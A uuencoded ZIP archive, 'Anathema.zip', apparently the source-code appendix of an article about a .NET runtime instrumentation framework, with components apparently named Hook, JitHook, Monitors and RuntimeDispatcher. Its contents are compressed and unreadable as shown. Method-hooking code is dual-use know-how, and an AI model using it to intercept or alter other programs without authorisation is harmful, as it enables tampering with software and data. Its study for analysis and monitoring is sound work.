8 - Source Code begin 766 Anathema.zip M4$L#!!0``````'E8ADL````````````````)````06YA=&AE;6$O4$L#!!0` M```(`'E8ADM9G."55P,``(<1```8````06YA=&AE;6$O06YA=&AE;6%3;&XN MB5?`85)H6JB:M)LD/C[YSY<_B7U^?O\Q'CW/YH4KW;*:O,G*.LTGTZI> M9&XR=7E=96XS,5EN'TV,*]:IS[%%V001#B`'07N0MLTQ_[F0`& MF%$,`]04W63K>OV?5.A3*<1(-JG7A7MOY]6#JR]&)9`F&@("D0$(Q01$AD8` M0@VIX3(QD?YV]=`K7#UW\P_/LILB+3Y?/>H,9SO7P;R\]>I-QA?*96@2KH$1 M,0,4Q2$0TC`@#%8"1Z%DL1QQC0&AB-?`G,&I,8QB)0@S/_8R/_"%_&K0W"=EN4G5RRFE4WSQL3C M\[/_3W;M1@FBQD.!4%/5V*U`)`@$(2,1A[$1B+']IWF2NYLT'X_NW5WX4LW: M_6"[B&NW66:KNDB;P76>5DN_G)?-(]T6=IOD[[X7VYMZ]55M/D_T]6L_W1DW M"2]M;M/2[J1L(W^3/%@'XP"KQ3Y"Y(9>7R^'J1[U\K1ML)>70Q1; MQC/T^GHY3/6HEZ=MU+V\'*+8,IZAU]?+8:I'O3RM@^CEY1#%EO$,O;Y>#E,] MZN5I[4\O+X3E$L64\0Z^OE\-4CWIY6I_8R\LA MBBWC&7I]O1RFVG(.:UBWO:AO7&]M467V7[WSTVSQ9_S"+:S/,.K9-/EG@3^1 M\>@74$L#!!0``````'E8ADL````````````````:````06YA=&AE;6$O15,N M06YA=&AE;6$N0V]R92]02P,$%`````@`>5B&2YJ-?$:7`@``]04``"D```!! M;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+T%SH4U@7#`UPP"VV%[`G$F/%IR&4F;DY@F;\KX23V>^OY[6V]^?:PP1E:;D057/9[C\/&6N5B MY@U['EA63-5/03X9G7GN_D?E6%>U$;."C%9+^/T#8']W[^AQLRO#,B(WMT\J M]M)Y@TM(3/P4G0M%I6BNA16IQ%"IG$FJ8O'F-K`K^[U]/GGR5EH?NK*Z(]V.E^%+D4*(E\H MK8R^H1D-8/Q>:8M9$_5]Q^=>9/U>.MSG!X=L-!BFZ:O!P>[>:'`\/,X&H^&( M#X^&A\P4XQJ-I:[K3D=0U)V&,)Y66&<;?6T,M/*FF;:32! MAK][+E1[WC5XZX7,X(,O4S2=XTN( M#'-&'1AN%_045[9B;'S9!6M:@[<45`2_V'Y!\8,M])V"%"G<17P/]7@32K^W ME^PFVXO"1>@?5OG*0)!=I#)N/=U>ZW^ZVTTJ\?/^WG MEW%$9B`5$WQ@],RN08#[(F#\8F"D.NP<&,^=NW?LD12?P==D(D2D/M3V>]F" M(PAI&ND)E1>@UC7/?QY<:>(9`C:B>MMU:T437 M=L_J4$,1QX*;B12),LA0\(#I/('C2Z:T>MBZ&=>MMD&L`OM(9EGI^8D4:9*+ M4(B!0W:12IH%;\(@"&!)V6Z1P8"T6L1PCL!++VQK25TY'$54AT+&J[XJ>OL8:;&B=*@4Q%XT1\55:QKJ>DG1L"\EBKX*^:5* M>+9G[IN[MG6U>F7Q>$IEDH6HU'LF[HFLBAL,:KRI%B?``0F%%XQG&^X<`B:Q M8LK1,D7,VTPJ-QO2W9(FTA*R"*I&M98[=;UYM_?I][5FR_OU>]%NV'@5BEP\ MGL>>B*K\FJ(EL[P9PC2*2IMF<[Q+-(O9-]332*&3ZGN1+8M\&J''TJ`6+#=A MMKT=CW$WC^"BHUJ\P!(R#IBOTI1CR8^.7[P_>38Y/QP>V]:*LEKSD4J./+W) MSC6G;UO-[]JO\-,8N,XK^!*Y:.!8I=+\=/8&@ZVNN"7NSB$"JF#!WCHM2>`) M'LVW,).QNXV83'\-7DHLUV+FMC@I,?P_*Z<:XJ51<`XA2)RT0$ZY'Z4!#(Q8 M^4)&S,,9LL6J.%!R%#ND&L0/'FXX;=H[9(BC.94PX)!J2:,=,DJ]B/FO83X1 M7X`/O&X_?!0^#GN]X%&7]FG%>=Y+;(9GCS/)"2N_*FQ6#6X+VO%<8>:8T1]M M\HRN9?@6BRZ9KXSZ",NJNZW8.*,3%C4\5=/@E(?"##-/&TU?`0VPEG^P>HL] M,(/,:!W4E@O!&>,L3N,/3*4T&NLT8*(DKKES<>-N-JQ&O.'T>K:UV6YS;PZG M0JB:Q(]36`V^.6H/+XRMJF%6D_R+>U9_M^V:YN)61<9'KY7[\K[;-[MN/;G< M&8[6QM6KW`KEO;/5+H"44`IEJ[L:BK=`ONM%/9FD?Q+F9NES;Z+;M_TP%CSO[C1W^MT\/5#8GP; MA7,R%ZDD^8N%X-7?!Z5V"`V"0JZI^D(85B(`(CC^0H(H4)R[)1X^>;X2R@.2 MF?=]C#4(#>9=CKX5U_OG=]02P,$%`````@`>5B&2YIA M,3?\!@``UQ8``"0```!!;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+TAE861E MF?$R>-N!_2$SWB-&8+E\9+ M?T(3\##5PN*[)AQ.N$^B]`S ME']`G7^^(5OMXY%IJ9J&71<@K2^M]@V]@]6N91IO,KVR4__*T3V<`IM2-HFJH- M<&Y.J\[GRXYNYJ8(T%9JH!A>^+P7D#EZMOVV9CDO=&_4,_HCU\:X.[)L+XM; M]FG7@?6WN(I5:K!=W!GV1YK5Q=OH,_3@`9K3B,:$4W1G2L?I?$[&`;V#)FQ* MT;V(R8?CD$3SP(_FB"V@0OVO1!18+61',P,,2BNB7"5W(9F(QM%H-G:R-;&QZ^O!R0P55M.<-V]GR M2=D+/]N`S_:!.ZJIJ^[FA?/:%X80BQX4KB[!N>$R"/T\O-.L'$*R0BE$939A MH7]O<00A3GBA*RY8&TKHN5->U9,RU@CY5MWJ2&&!+2 M&VFJ83AXW5?M5D[^*B8+%%)^S8">!$&"/OO\&BUB-J:-A%`8V#&P>K7N/J7@ MU*5-(8VXX`G8/*7)`[KPQ5,SJ6["'VVD:IY^A:%);`=KJH>S`9:'9)/R["PX M`BZ4!&6=+AJ:0#B6%,7T4^K'%#3^;$9C88Z_MDQV>Y,IIC6R=?/*>HG!*J.8 M?Z+H"C>[?@)S!?AM/5JRCV($0,N"`76S[:5NCZZPH_=T<$JWS)RQW;KAU;V` M?%T=H>2COT!+&OLS?R(-1L?@)ERD(8R&J,QM45J%=Q]\#@,"$DC%DY\@?BUF!YVDTA`:S<&&DQI. M!QM6-BEESBJ%##:*D<9%]&1-U[#HE[;E>*/-K=TZ7W-94;!"?KA@,1>6@>]1 M4W/IQLCUAIU\.6@5-'GE"_=(A'0#)3P=UU>%YMI&$2IE0R+"ET`F@BE*Z(*` MB](M41"8$C04!O(G&)/$G:`S1^RA::^8' M5-X)<2C+HY9U?:.>;SBM[-JC>0P$-]04BWZ#N.>HE[C8+C;,:A#DI`FZ)DLJ M8HL[-IK%)*S+M6KH?5-<8G8VWY4M/C*=(M.R$RACL(B*>VR1(`@M"?QY)-(? M(L)1^Q$:KR#T8Y9&4Q+[]:-FV#%T=S!RL>:(*T@%-XKMIMR+17;#-(%9%L`J M+"M$I#&F("'@DCU@E"]U*((UA2E%-R5-V8=`BL!K,6%H5E96T",TJK M41?WU*$AD[CTK;:4UU/C'M0E.4Z-KH"O2WL8Q,FDCRW M)!\`249^6MJ_#`NH84WK@^;QMN)2=5\*EH?;0E,5@_P*`NSTA;+DFXR[]\;& M0J.4]VG'LK'CB;8OR5VOFWM6,DI8FLM/M^7K@Q_N2H$'S^7P=RQ+KDO2- M@WO"QO.J7.[G9V6I-E`=84=%:JCRJXG2JLBMH>D)>07?M:!&L8QG6=$S+-43 M\LJQNJ3)+=PDRY1AAT-O9B5[HZWLT@US9<4J6XZF]N.R%**CFF^$$^VRPAW` M^!8%5Q%[CI[955$,\XA67,Z->5*1%LZU*W*S*[/5JH@+8RK&7ZG&$!?9:3^I M*AWAEE*16KIH(WEN)G_WU)5+V//WY?\-LH+[^5[VYZ4?34].G M@+=Y_'SW&Y);,Y!U5KP&8*:A&@-$9J+]:#U M)S9SN!/X!:B`_(URN(]L,ODH>NY&85S*/:.Q+C+(`':P8&U5#5+^!G4(4H?" MFAZ$<6'%VM-+Y(O+P;_F/..!;,M&4%%SUD(NF<6Q#;50Z:W=2$/L-C>P?S+\ M&A*J&UF^7-AW\;4;0@^C9PT-U!P0+UY9LUE"^5Z8`=]H^'53.V9U$1_"ET/W M<\J!4NJY_Q+6'N$'!/54.2BHI\K>H&:P@\-ZJAP4UKVWWXYA]@M02P,$%``` M``@`>5B&2X`:`R!>`0``ENLYV"^&H>?"1?P>T/HB'L:>;;F6^^^7:_/[^TR+#(18PPC_RI%KS!3/B! ML=CM=#LF1PW1OF#,_B7^8ZE99>@O-:,U>81VJV(LJI[,R)(05H+5%F'<[8`[ MSZ,9T3++C>7>14#V5;$OB2X\"`21TFE@]!8=I]$P/L7\B&4%>A!:+-PPC%3J M"MF6V)^\-#/PW6G1X"2%;"%%OE77"'2<-!JB)#O1,%S:XT]PWIC M#*'0\*0LEX)":QAC[K7#*)]*Z905'JP=-!R`W$7J`SUH"NN]$EKAKLT/=9>N M-:$'DBW^1^Y:9T*+%.6BU#5!:%3E=N^L.^<6J?@:5M[G"(')H8Z/I)<[8C]S^:]J5.S,1=.<"YO2"1_C8<@^L)U,M6 MN_T`4$L#!!0``````'E8ADL````````````````:````06YA=&AE;6$O15,N M06YA=&AE;6$N2&]O:R]02P,$%`````@`>5B&2QSE15Z9`@``]04``"D```!! M;F%T:&5M82]%4RY!;F%T:&5M82Y(;V]K+T%S-&(`FDA(>T,*84IN-R0G^;\1LCXB.ZD MGD)-9]$!92"<,S+V#FT$HUSH*0:PQ?8"9D)YM.`("DIE5M5LLE41Z((`2J1P M[/1.NGQ54[2Y\?758G,"B_Q=2:>PVUG/;V?[];>'#<[0)D:6P66W\SAL1#J3 M4V_$\\"B%+IZ"O+)4.H3]S\J1U161DYS-EHNX?^6\P06D3OP$G0M%Y6BNI96QPE"I3"BN82%N0^%R/JI*7DG-&VG;;M'D8-98 M!;9@.OIX`0FGAC1JQUT!XPPJ\J`1TW`O$NY)YJ@Y_Z7,#!4U5R!Z$=JL%M#* M:SLKL#GC$2B0"%M8VH#O[K7T^>?QV>A^;DK:W^\HVP9NI(QR&RN MM#1TPS,:P/B])(MI$_5]Q^=>IMU.NG=PV(]?BM[P*(U[^T?#_=YQ?#SH'0^3 M@^%!EO8/!WLKQ;A&8[GK5J5EIG&WUM#+SRIIFVDYJN?LQ_%^*& M>1K^U7.IV_-5@S=>JA0^^")&LW)\B3.YI*@?7[BV"0NT)29ANH52K&LY]LQ> M-8@4,\$=&&[G]!Q7NF1L?-DY:UR!MQQ4#=[:V>+XP>9TIR%&#G<>WT,]WH32 M[0RB?K0SS^VS./X_CGS'7]QU]*)F*7_"0UJZVW\!4$L#!!0````(`'E8ADMY M:F]]M00``"P/```Q````06YA=&AE;6$O15,N06YA=&AE;6$N2&]O:R]%4RY! M;F%T:&5M82Y(;V]K+F9S<')O:K57VW+3,!!]9X9_$(:9D)G:3NHT%W#,E%#N MA4P3+@]YD6VY$;4ECR0'PN7+>."3^`76USA)$\JE#YF,=E>[9_>L5]+/[S_L M!Y^B$"V(D)2SH=8V6AHBS.,^9>=#+5&!WM<>.#=OV&/!/Q!/H2GGH7Q;V7?2 M#8](@)-03;$X)TH.M8<)#7T-@6<&J[E2\3W3E-Z<1%@:$?4$ESQ0AL^33XJP%($<8S5OSBI% M'5US=EJ%&O$HXLR(!8^EAD:<^51E"9Q\HE+)NXW_X[K1U)"98Q^+-"NU?")X M$F<4XFQC'#*H5D/.7\PC;K^FK3L90DQ(=T^:0$M`0U(VJKG>J=O-N[]/OVXU6]:O7_-V@\8K M463BR3)R>5CF5Q>MF67-$"1A6-C4F^-UK&A$/X,>AQ*"X-* ML-Z$Z>?MN)3-L@@S<%2)5U@"R@CD*Q5F4/)')P_?/+D_/3L>G=CFAK+<\PX+ M!CR]3.>:8]EF?5WYY5X2$::R"CX&+FHX-JDTWI^^A&";.ZZ)NS,2$BS)BKUM M6F+?Y2Q<[F$F97*1*M'05G)"`"3EJ"GC$O M3'PRU"+I<1%2%\Z0/5;Y0#'2B7*`RH/XSMT=TZ9Y@$9P-">"#!E)E,#A`1HG M;DB]%V0YY1>$#=V6%1P%O:#=]H]:V,(EYUDOT07,'F>:$5:L2FQF!6X/VLE2 M0N:0T6]MLHRN9/@*BBZH)[5JA*75W5=L.*-C&M8\E:?!,Q9P(T@][31]3E7& M>/`'\8J3[Y(4#*/>2UG.6P((%8.#G(?5D-\T6QORJZ#.%]=&>]?D$XVF7X>H^I#GMMFWNMMO]!8[FG,LJG7=SLAE\=]0V7(L;)1V;2?[! M;=(Z;,X,8W5W1)-'+^3L\>V99;1FU?D\6W1@N;I@%A]\<;MN-',@!91<6>BR M"7F-L6US*UR%9;OFN30M=#7@H7G%1RK)_REE!7-6IVZVN)S*68[]6@K[?Y'\ M39GKI4W7>;?O>D9M^5^]6V[I.KSQ4`0OP&")ECP1*'N7(1A)'I'R`&'?S^4* MRPM$H1(^09S!+T"``L296^3"P^XCPLQ'"8.G7GI0(JH,5!4YPXPD7!)"+!`I MJXIB3AGL)VD''"!)"-IZ;14QC`QRG@=*IR&\/4D`LS%_@1:UR/7.MNUQH(C8 M9:KK\+>:DK\`4$L#!!0````(`'E8ADO[I62^"`0``+H.```D````06YA=&AE M;6$O15,N06YA=&AE;6$N2&]O:R]*:71(;V]K+F9S[5?;CM,P$'U'XA]&^X`2 M%,+MK2Q%7%*VB$NU+1<)(>1-)JU%8D>.6UC4/^.!3^(7&"=.H1APA0S"<)5H*,76C4?1!$NT^J8HIFYJGV[<. M0,C48'%<8#GH#<\)E;DN7S+_$]20;C4[2Q#>;\@.HQ;,29F(S`Q0\GPN!0YX M*F1)RP\FH^G^,%C6\B0[@1]M>HY[^5+M,8`7'),B64ZLAPM.6/!EV&LLI@=* MC?$HW609$]'YI,$ZK97F@=#JO(IY6%WRS_@B?B@C/&P5E%>LVRME.MP,<@X? MN=[4AGM8RA2+9*FZQ9VZ?T=N3I]W_Q5+MNB!9<&#.GD/ZIR+K2(Q#QJY5!_J M%-P&CJ)>!L+8L16LWWCXH=B#3#VRTU7VR&C'.0.NA]B1+._5.=FK%;6A";E& M3>B=FH)>:QY?@V=,Y1N6^*>D#K9';02W7>_KUR$LG2T5>5DE,']I)I5F0@.G M\5`D,Z`EL)WD$:W$7'#*,9$RZS;1VZ.YR#5+$C.E1W?@:*EE9NX#&1^]:]1R M"D]YKGV*JYQX*RRDYRPU!:[M#K,)=PNP_F/4*U(5QS5/95RG]O4`'G`1<;&> MF?+ZB^U9PD/8[_?M]0*T"+&_0RU6.KEM$%;13S#)4%%@A1E36`'PRX<3)J*D MV;)N]6"+36FF9ZC*5)::*:HNW*WM>3S4V_.\:'S2>F%-ZY*F[`.:J%*=PT?% M"P6KC;K2)I-HH:3&T`K@EANIAAO6HT8AI(;C/;SB2F]98GV<3OMYE7_9=[X9 M'`_J`_S%_`3 M#<*UFVX_M:R1#[EL4W]!$X&.>??(^+@^9NJUT_=7R.;"FGCAU5C,RDFFU%`6$AN3"ST1_O;A5< M#VRN8_(S+?,;V[Y0IUN(XY+_DU'&Q=1$ZE'.2Y6!L,6E"3)"OB0. MR5!#P(OW5/F-JY"E"Q;3>#6(L(0-M[W9JTW[:,S[XV*:2.'^:^+?U,0NSP6W M"&````06YA=&AE;6$O15,N06YA=&AE;6$N36]N:71O#]-3C7S.18LN3!:>F-=@8UG4,/1@#S MWLHT>'0)C'.F9QC!#ML#F#,5T($W4)A,BJIFDZV*2!<%&"Z9IZ!WTN?KFI+M MK6]OEIL36-[?E?0*NYU-=]S9??M]L],9.FYE&<-V.X_#QD8+.0N6/0\L2J:K MIR"?K4L)\?5$O[\!'C='QP^[G9E648![.V3JH/RP>(24A=@ MBM['XE)&U]+)5&&LF&"*:EFPVUC`G$Q522NI:2-=VS7:>)@W7I$MNHX_70"G MZS$:M:?N@(F`R@30B%D\9YQZDSAJSO\IA35%S16)7L5VJP6T\MH.BVS>!@03 M29BO&1]T3>O7K7-J$[^ZU]OG7R9G<0BH.^MXM#-BE;J2*4BQ4%I:Z(#S'NNGH][!H#\\.A2#X?'!<*T8 MUV@===[ZE$1%ZU,1Q]1)YUVCK\V!5L$V4W=2T]6/Q>^"W1!/P[]NE[JUKSN\ M"U)E\#$4*=HU\R7.Y8JB?GREVG(2Z$KD<A^AES3+ZE,=KZ>[^`U!+`P04````"`!Y6(9+`_.Z-?$$``"8$``` M.0```$%N871H96UA+T53+D%N871H96UA+DUO;FET;W)S+T53+D%N871H96UA M+DUO;FET;W)S+F9S<')O:M5726_30!2^(_$?!H,4(A$[:4(7<(Q*6TH%A:H) MR\&7B?W<#-@SULRX$)9?QH&?Q%_@>7?B)BRB!PY1Y+@:?)5(A0O:[D[Z<*AQ#0 M)-13*B]`J['Q.&&A;Q"TS/%KKG7\P+*4-X>(*C-BGA1*!-KT1&3Y<`FAB$%: MD9JE:M96OS\TT",A]DD4"ZE)X7ILW+E[.LEL'WW4P-,(U!G5\ZY;,9K1==W3 MRM6!B"+!S5B*6!GD0'"?Z2R!HX],:76W\V],=[H&L?+8SV2:E5X<2Y'$&0F) MZ#A@%XFDJ?-F&`0#6&)V.V0\)IT.,9Q#F"47MK7$+@V>A50'0D:KMDIZP\P^ M7QR,!SU]N@N]$;;GM>C M_=FHMSWH#W=W@L%P;WN(GFJ-TLC+1,>)GBYB<)ZSF:1R85LUK90Z%T*_H!&H MF'K@'$W,?4YU&I)Y*CC30BK;:LI4BOM*030+%\A8I]<0J=1RX#Z12/H@Y/LR M\=_A1T.T6`A4A&7`I4?9F3'N MKF;DHLU*H@XK8!Q04&G*L<*'1X]?'3^4,EQ[8\3\>9@]AO M?E=VA9=$P'7F^@D+X_HT. MS;Y;36(7)W2_<17G,]8L]I!.-P^D""5G%KP,0=?HV[9:[JI8VC7/J6FAJY.` M,UQ^8`K^32FK,-UFZ]S+JUOIYK%?2V'_;21_4^9F:=/O'.WK%LZ6_7K#.]$0 MK6QW48Q'GIQP+TQ\&!OE@#CA@3`#E6K6BR!61M>BN,6\IQ>@3"^;,K5HV^HI MZ+GPB^L]-UND4D6T)L!S"$#B=M\P%BE/R)#-T,@&J:+JZ?:2M[Y>.1JLQJ:Q MM(VMRIE^>MF7W&6=IXSK90QA,R[PT*7#5*4(JL,K+#!0-4!*Q)@OCJ8K9_7. MW36;6-=M!5>&4:&F\KJA2I.%PHIC)7\IDWGZ+<$7>)U(YJG?$GY-PP2F21PV MNU2E@C.M1)G;4L!E-1UOB`27@TXO39]*'Z=Y2_3W*O1K,!:'[(IL,-#F(GN> M<-PCX"H:HC]&,ZN8;$LN8[/V[GP>4!^V]W:'O>V=8`^?,L&H1[WA;F\ON+^S MM7O?ZWO^SM?J+=,TP"YQ'7>FV2I3?!7L2OP7-;G5Z^%[FD3XV@X69"$22;(W M,,&D/%#J'J&^G],U5>\)PUGJ`Q$]\"!#' M^6N_R##G.VW9_4"#7"?:Z^%?7>2?4$L#!!0````(`'E8ADNPY%(\X0```(0! M```N````06YA=&AE;6$O15,N06YA=&AE;6$N36]N:71O]U@["HU9QTV&*GU9+)!'8^3=*$ M>R2H!Q^PFRQJA:W%)A@FLKO-&6VMHL\2PY74)^QD-UZ#=QI=0 M?7U+@"Q.#P7J>ED\EC"#JVF4>I.?%Y'[5#9BG>EHV44+&!J=1]0+')\!YJNGD2'>J7>N M@Q.0O)#^'5!+`P04````"`!Y6(9+]#53B'X```"1````+0```$%N871H96UA M+T53+D%N871H96UA+DUO;FET;W)S+W!A8VMA9V5S+F-O;F9I9T7,.0[",!!` MT1Z).XRFQV$)$D5,.BX`HK>2P;+B);+'+&>CX$A<`5(DZ?YOWO?]J>JGLW"G MF$SP$C=BC4"^":WQ6F+FV^J`]7&YJ'K5=$I3^C?`>&!:B>=78G+BJFRF2^XM MX>R58C>(K*(F/D7EZ!%B)]$3E_LM0C'0Q63_`%!+`P04``````!Y6(9+```` M````````````'0```$%N871H96UA+T53+D%N871H96UA+E)U;G1I;64O4$L# M!!0````(`'E8ADM$9'4EN9F\N9G.55-M.VT`0?4?B'T9Y(:#&W`F@ MJA(-+C1?6N]9>0OU)_88^5.H/]12HUN-&FN/UI0+4'2RO0T7J-$R!=&O+5AT M`BPUP0.C12,*I`-NM+=&*8@0[;"]@QE1`!]Y`83(IJII-MBHB711@N&2>G-Y+GWMK7U\O-J>P MR-^U]`K[O14I[FV^^;;:YAP=M[*,7ON]IV$CHX6!A8ET]5SD$_69('[ M_Q0Z,F5EY30GN^42?O\`V-O9'3YM=FU91OSV[EG10?E@<0&ITS]![V-I*:`; MZ62J,-9+,$65+-A=+%].1U5)*ZEI(UW;,]IXF#56D2V:CCY>`J?L&(W:4V_` M6$!E`FC$+-XS3IU)'#7GOY3"FJ+FBD2O8K/5`EIY;7]%-F\#@HDDS->,CWJF MM>O7,;6!7S_H[(O/X_,X`M2;M3_:&;$,7&H=9$_5# MQQ=!9OW>+E7EZ.1X?W`T%">#@R-Q,&!\_WAP(@Z'>\>'?(=GPTXQ;M`Z:KSN MC$1%W9F(0^JD\Z[1U\9`JV";F3NMZ>K'_'?);HFGX>^>2]V>=PW>!JDR^!"* M%&WG^`IG0(H4[CV]5CS>A4.J3G61KGML7OKN/ MT8N:9?0ACVGI;_X%4$L#!!0````(`'E8ADM>*+TBQ@0``'`/```W````06YA M=&AE;6$O15,N06YA=&AE;6$N4G5N=&EM92]%4RY!;F%T:&5M82Y2=6YT:6UE M+F9S<')O:K57VW+3,!!]9X9_$(:9D)G&3NHT3<$Q4]+",%#().'RX!?9EAN! M+7DD.1`N7\8#G\0OL+X[21,*TSYD,EJM=L_N6>]*OW_^LIY\B4*T)$)2SD9: M3^]JB#"/^Y1=CK1$!9VA]L2^>\>:"/Z1>`K-.0_ENTJ_GQXX(P%.0C7'XI(H M.=*>)C3T-026&:P62L6/#$-Z"Q)AJ4?4$USR0.D>CPR?+$G(8R*,2+KI,>.P MVS4U\(B0]2**N5"H<#W2'CR\F&6VS[\HPE($>B2PV-.?.IR@(X_T*ED@];-V.ZU=:0D6.?B#0JM7HN>!)G(A""XX!>)@*G MSILP$`!8VVRWT&B$6BVDV6?$32XM8VV[-#@)L0JXB#9ME?*&F5.V&D_>6D:Y M59J89;P4@=F'>M>5W//P9/]8G2R)M$Q8F:KV)BOZ*NP&)E&;6LU)IRKE[CB,@8>\0^G^FG M#*L4DCY-F*(1L8RF2G7N5$H2N>$*-G8<:VA4I_*R?29`])F+3V78R[X^T`\M MX^KMC<.S!1;QF`M2;O=U^#+27.Y0J"`GBC\GC`"MY"EEZ6^)%/@):$C*BC762W:[BO<7[/>MJLL*]WM>=U"!)8I,/%M%+@_+ M$)NB-;6L*H(D#`N=9I6\B2%"^A7V<2C!2+FNHZ6AAT.P6"A4@O5J3+]SVZ7, MR3PX8*@2UU@"R@C$*Q5FD/6S\Z=OGS^>3T_'YY:QL5F>>8\%`ZI>I0W.-BVC MN:[L`V,['O*!*M388I"8B`P4O0"^:%B4]&6B0]+D+J MPDC9HY5W%CUM+0>HG,L/'NYH.^T#-(9)G0@R8B11`H<':)*X(?5>DM6/B`VU]?E0.[6_N>:AUQ_@ M8<=TW:-.O]N#X6Z>^)VA.?3,8W-P@MW!CVK$7[=$-F/:3,6>J],%931*HG=4 M)CB6?5C6E]2B2Q0W]%8[!U)` MR3>+O:RSWJ)OR]AR5V'9SGDN31-=#08%'])G*LG-I+*"Z32I+Y'_2W$QMNLZK?==3;,M^_?:YU^G`.Q%%\(H,5FC%$X&RMQV"EN01*0\0 M]OU(,_@%"%"`.#.+7'@5B&2U4X#+?H`P``I@L``"P```!! M;F%T:&5M82]%4RY!;F%T:&5M82Y2=6YT:6UE+TUE=&AO9$9I;'1EZS#BNE2G&9"^%LP&D)'TV53ID-'MR>W$>W3^\?$)-:/7J# ML6!.S'&,IJ5R2\1MA+61VD!$0=76?.9V'71=&Y6V)RK-"-TH&7W0"9=,S%:2 M?)H0+D$V[J[0%C[-Y%)-M4HO5)(+).!J: M6W8M$+C#Z):3RES!4J@NE<1&KWFS>N<6S>_)$TBXMCLZX?%F!-RECA"!P35: MPH8;1H<*-E+=N"-(/2]02[^**2)<8%(&^%6-WA"^LAI..^Y%Q>,]U1DMWJ%U MZ0I"]S;E*)+@0?HELYIR^YK+A"(_%6QE(G+K*K\6/(:[N[OVT8RJG,D8P]\S M^,1$3C7DWYT5OPZ&2?T6)WO#+".0"G"(N9?[-^YMJWQ9&7UY!I(*U<6\[-[? MLRO]+%>-IS7E$,:OSMSDH(T&J#'8P6D*MA6=#H]V154ELE2Y3$:N%TH8<..X MTNI[8,L92&8OF#9K)J*/-#[]0`QHJO(M`3OFXM_4(GKKF&B;A)YDRZ(UK-+FP?L8. MZOA39VJNZ':Z/5NA]-K3T:'S`WMGL M8(CJKPS"\!D=%KUOCF[H"H8O\/@,@J:5RF04ZY0ZD#"W3,#,N?4NYTETB3?N M&80>P(V=OG#Q%4,:>]\SM7@;W?.-WE47^?#5_5^NZ*72]61QK7">96]4RKB, M)KG65`/%RO$Y+\0XN@Y-JN@W.)T)16CUCE/WN[5NOY4];6I@QZ]LWP/5_Q=? M.MU/FTY.?P%02P,$%`````@`>5B&2VU[-S7($0``UD8``#$```!!;F%T:&5M M82]%4RY!;F%T:&5M82Y2=6YT:6UE+U)U;G1I;65$:7-P871C:&5R+F9S[1S; M;NPT\!V)?S!%0"+2=%ONI2U:>H&%ME2G!830T5$V<;J!;!(2;]N%\F4\\$G\ M`C.^Q+&=[&ZY22#V`1K'GAF/YS[.^>V77XMH3ILJBBDYO0['1<1F=!Z%SQ8% MR^;TY9=>+0+\_FXS',:LZPLFO`3 M6M`ZBPJS8>3@M&ZK*YI?9?%M.F=!+3/JRRGM37K(HOKLBE3%IY=SZ*Z"B\C MEMU1"5),ZG(?`EA4E&0(KHIS4S%XFBYR2DZRI<`JMR:%8D5-&$CEZ'.7Y-(J_]Z*FH?-IOCPO MXPC/12$)2%3?WNV3+Z;?P8'!0QTM?0Y)_K*4G`%7P].'K&&-`\XYSQ2;[YMYG;$9>D.TC4BSR M'(_/VFE6W)7?4P);Y'N=ET7&RKIQ^3E=,J12',HSD-)QGG^,8^[1F(O3LB8, M\)"QG!>>EU'B<7@^4G^SK'"C)"F?<$@@'BQ$J0U/BZ3Y&K;I;5T(XK=\\OKK MI"@9S)@TXVG#@*>,RXL)R]JBVCS8(EBRB.%/V"]#$CM#WK>/J'IE>B"5*6KH MT8=$CG7%^>CQN6^CT02X&^K#?R`.3A&_XND>RV M`+.R2FX\O[4VTN!IS8=#BQJ@+4/!P)\V!"^2)?B5+%:'3F#&N*I.RGF4%>&Q ML/7RZ82F8+A.S`4>:I!ZP(/V/EED27A)[_'_GA_>E,*2>+X?M!.E:1O'8(<; MM-#C(I%^QG>)NQ"F[-"A5I.DIWE;2;MQP&7]QY'7WU,*J7 M!\KN:@?!U^K5M^BD(T91'R4?O=8DJTE_C',77YQ\>7ZZ1=XDC3BS5\1^?1AQ M()R!P..!^QUG4,2U9%$[:)(B\"+M@.[FFRN.C`R+C`9CGE0,\0:3IW2MN.G- M6U4'']K^[3"GBM`LR^,2J,+/RJSPM@(0E18(M^]7[5R/:^(8348XCRHO712D M0M6KPG82[(NO^C1J9L=E0LW-^"8960&NI(@Y,X`0+TN[N"<-^"4(@KA-47;K MJS)+C@C-&VI:LB-_$*O&:6*O*;"L$+A-+GMS5)0.+=S,F',>R?Y''1%%^S+/ M@!GPW_!9"[EG3\`B;14#QYW3IM<-^CV.Y+L'6=E=^V_[]7(,7 MLG)9%M36(_=Y!^*,&W02(-G<',&YY[G<"XF4(DO!`)(BD.&&QUTT@<"#1R:L MC7!#,F$-J19U5384)^:E#&-PHA."ME@M)7?/0YA:FHC'?7)F/!OGPB59G^TZ M6*$$80G\(V=V*^"=%X*SVTIH70/+.:T M$'$90/_V4<_1PH4!5C_BUL*LB%J6&=!=DM3 M^F+0YZPY`IS3PWQ_+>(V7G"YHTE3E$C9ZV6Y*SC!0#0J9HP9D#I=,#``\C0? M'Q_==Y]F"?UX"::H__758IIG<="/Z%B$I6"9[FB!&LI1%4E4)_TKE,#(!)Q; M[8%=F%+L3E&"X`88;I+41D;*0DW.W?/*\D_X+)XU*&9K49VPS`;9B]&?S7-+SM-%9B#N.6"++#$]$1DG1N`Y5J<"36$$R:[@W49+4+AMQK)H**Z/&E&.1"W@'(ONP`^0B*?\I*K+:4[GC05Y MX^/[N'QH]8NC.?(M$V&;I94[_@I/$>7?VO8FNU])XQ!.I'83>R#9VP!P3AML MA**.@2?$1V$>GB#VUPP!O(`"O"/X%DH*RWAL#V?G!.N.07)FM`&12HE%RM_3 MN@@[<:_?*9-NV2`A-_\X*[#+<)9'MTTXD7D=AC3F&Z$+]K@*<]QQB.+%JS46 M'BEI68D/P<"^`^Y2>^S1$T,*2*5]6Z1U9I2(<->(,(_Y&\YL?W"=.IPNG`[G MG1#T'V>\>'I:=MUK&$VX1J8]3A*=80_L-4K0_I7F%FG]5 M4]!]%?=K3)K.3R&>SNVTYY/C\'-*JW$.O21SE2,4QEMXJ1)Z7O55\3#\E17@ MS<#S473F2#ZN-*+1B^O).>PO$5X.+$R2T`3^;E_RQ)^7!N"UXD02=HH($V:@ MPL6Q[%Q8100`$\]P)I9K.,Q6H7!V:W\TG]MHV"V(ZN;:1H4"X3_:GMN-?@B( M74+>[]2ZG,*/G@P1D,C$>:2$^_IV%(9/C)6>NS6QQ^<&QK94`B(,DHPH-0VN M6(D^E5QR5?)F)*^;<<;!6\=?7-Z,)Y>GSUY`[CU<#`Z&4MY@98K:FXU:AP8\&$P2S8TX2:)> 